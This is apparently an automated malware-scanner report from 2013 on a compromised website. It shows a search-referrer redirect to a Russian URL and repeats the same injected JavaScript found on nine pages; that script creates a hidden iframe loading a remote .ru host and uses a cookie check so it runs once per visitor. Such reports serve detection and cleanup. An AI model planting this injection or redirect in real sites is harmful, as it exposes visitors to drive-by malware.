Online Malware Scanner report for nbqsabbf.h01.jp

New scan:

nbqsabbf.h01.jp

(cached results from Sat Jul 6 15:14:16 2013 rescan)

Website Malware
Cleaning & Monitoring

Malware cleaning service from eVuln team.

  • Website cleaning
  • Redirects removal
  • Log files inspection
  • Reason eliminating
  • Blacklists removal
  • One year monitoring
  • Repeated fixing

website(s)

$119.00

Malicious/Suspicious/Total urls checked
0/9/10
9 pages have suspicious code. See details below
Blacklists
OK
Malicious redirects
Found
The website redirects visitors from search engines to the 3rd-party URL:
->http://unjytzaq.ru/count28.php
20 websites infected.

The website "nbqsabbf.h01.jp" is most probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues. Here is our redirects fixing guide.
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Setup daily monitoring of nbqsabbf.h01.jp

Paste the following HTML code anywhere into "nbqsabbf.h01.jp" website.

eVuln.com

Malicious/Suspicious Redirects

RequestServer responseStatus
URL: http://nbqsabbf.h01.jp/
(imitation of visitor from search engine)

GET / HTTP/1.1
Host: nbqsabbf.h01.jp
Referer: http://www.google.com/search?q=redirect+check1
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 06 Jul 2013 12:14:16 GMT
Location: http://unjytzaq.ru/count28.php
Server: Apache/1.3.42 (Unix) mod_layout/3.2.EX
Content-Type: text/html; charset=iso-8859-1
malicious

Scanned pages/files

RequestServer responseStatus
http://nbqsabbf.h01.jp/
200 OK
Content-Length: 12970
Content-Type: text/html
suspicious
Suspicious code found

<!--<script type="text/javascript" language="javascript" >--> function zzzfff() { var txzga = document.createElement('iframe'); txzga.src = 'http://pulespet.ru/count30.php'; txzga.style.position = 'absolute'; txzga.style.border = '0'; txz
... 623 bytes are skipped ...
nt.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ";", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) );}if (navigator.cookieEnabled){if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');zzzfff();}}<!--</script>-->

http://h.accesstrade.net/js/at_adnw.js?pt=093CDAF8134425E7768760BDBE4B3F7B483424&overlay=1
200 OK
Content-Length: 9150
Content-Type: application/javascript
clean
http://nbqsabbf.h01.jp/a.html
200 OK
Content-Length: 11953
Content-Type: text/html
suspicious
Suspicious code found

<!--<script type="text/javascript" language="javascript" >--> function zzzfff() { var txzga = document.createElement('iframe'); txzga.src = 'http://pulespet.ru/count30.php'; txzga.style.position = 'absolute'; txzga.style.border = '0'; txz
... 623 bytes are skipped ...
nt.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ";", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) );}if (navigator.cookieEnabled){if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');zzzfff();}}<!--</script>-->

http://nbqsabbf.h01.jp/1.html
200 OK
Content-Length: 12298
Content-Type: text/html
suspicious
Suspicious code found

<!--<script type="text/javascript" language="javascript" >--> function zzzfff() { var txzga = document.createElement('iframe'); txzga.src = 'http://pulespet.ru/count30.php'; txzga.style.position = 'absolute'; txzga.style.border = '0'; txz
... 623 bytes are skipped ...
nt.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ";", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) );}if (navigator.cookieEnabled){if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');zzzfff();}}<!--</script>-->

http://nbqsabbf.h01.jp/2.html
200 OK
Content-Length: 12691
Content-Type: text/html
suspicious
Suspicious code found

<!--<script type="text/javascript" language="javascript" >--> function zzzfff() { var txzga = document.createElement('iframe'); txzga.src = 'http://pulespet.ru/count30.php'; txzga.style.position = 'absolute'; txzga.style.border = '0'; txz
... 623 bytes are skipped ...
nt.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ";", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) );}if (navigator.cookieEnabled){if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');zzzfff();}}<!--</script>-->

http://nbqsabbf.h01.jp/3.html
200 OK
Content-Length: 12029
Content-Type: text/html
suspicious
Suspicious code found

<!--<script type="text/javascript" language="javascript" >--> function zzzfff() { var txzga = document.createElement('iframe'); txzga.src = 'http://pulespet.ru/count30.php'; txzga.style.position = 'absolute'; txzga.style.border = '0'; txz
... 623 bytes are skipped ...
nt.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ";", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) );}if (navigator.cookieEnabled){if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');zzzfff();}}<!--</script>-->

http://nbqsabbf.h01.jp/4.html
200 OK
Content-Length: 12307
Content-Type: text/html
suspicious
Suspicious code found

<!--<script type="text/javascript" language="javascript" >--> function zzzfff() { var txzga = document.createElement('iframe'); txzga.src = 'http://pulespet.ru/count30.php'; txzga.style.position = 'absolute'; txzga.style.border = '0'; txz
... 623 bytes are skipped ...
nt.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ";", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) );}if (navigator.cookieEnabled){if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');zzzfff();}}<!--</script>-->

http://nbqsabbf.h01.jp/5.html
200 OK
Content-Length: 12307
Content-Type: text/html
suspicious
Suspicious code found

<!--<script type="text/javascript" language="javascript" >--> function zzzfff() { var txzga = document.createElement('iframe'); txzga.src = 'http://pulespet.ru/count30.php'; txzga.style.position = 'absolute'; txzga.style.border = '0'; txz
... 623 bytes are skipped ...
nt.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ";", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) );}if (navigator.cookieEnabled){if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');zzzfff();}}<!--</script>-->

http://nbqsabbf.h01.jp/6.html
200 OK
Content-Length: 12310
Content-Type: text/html
suspicious
Suspicious code found

<!--<script type="text/javascript" language="javascript" >--> function zzzfff() { var txzga = document.createElement('iframe'); txzga.src = 'http://pulespet.ru/count30.php'; txzga.style.position = 'absolute'; txzga.style.border = '0'; txz
... 623 bytes are skipped ...
nt.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ";", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) );}if (navigator.cookieEnabled){if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');zzzfff();}}<!--</script>-->

http://nbqsabbf.h01.jp/7.html
200 OK
Content-Length: 12280
Content-Type: text/html
suspicious
Suspicious code found

<!--<script type="text/javascript" language="javascript" >--> function zzzfff() { var txzga = document.createElement('iframe'); txzga.src = 'http://pulespet.ru/count30.php'; txzga.style.position = 'absolute'; txzga.style.border = '0'; txz
... 623 bytes are skipped ...
nt.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ";", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) );}if (navigator.cookieEnabled){if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');zzzfff();}}<!--</script>-->

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=nbqsabbf.h01.jp

Result: This site is not currently listed as suspicious.
Query: http://yandex.ru/infected?l10n=en&url=http://nbqsabbf.h01.jp/

Result: nbqsabbf.h01.jp is not infected or malware details are not published yet.
Infected sites found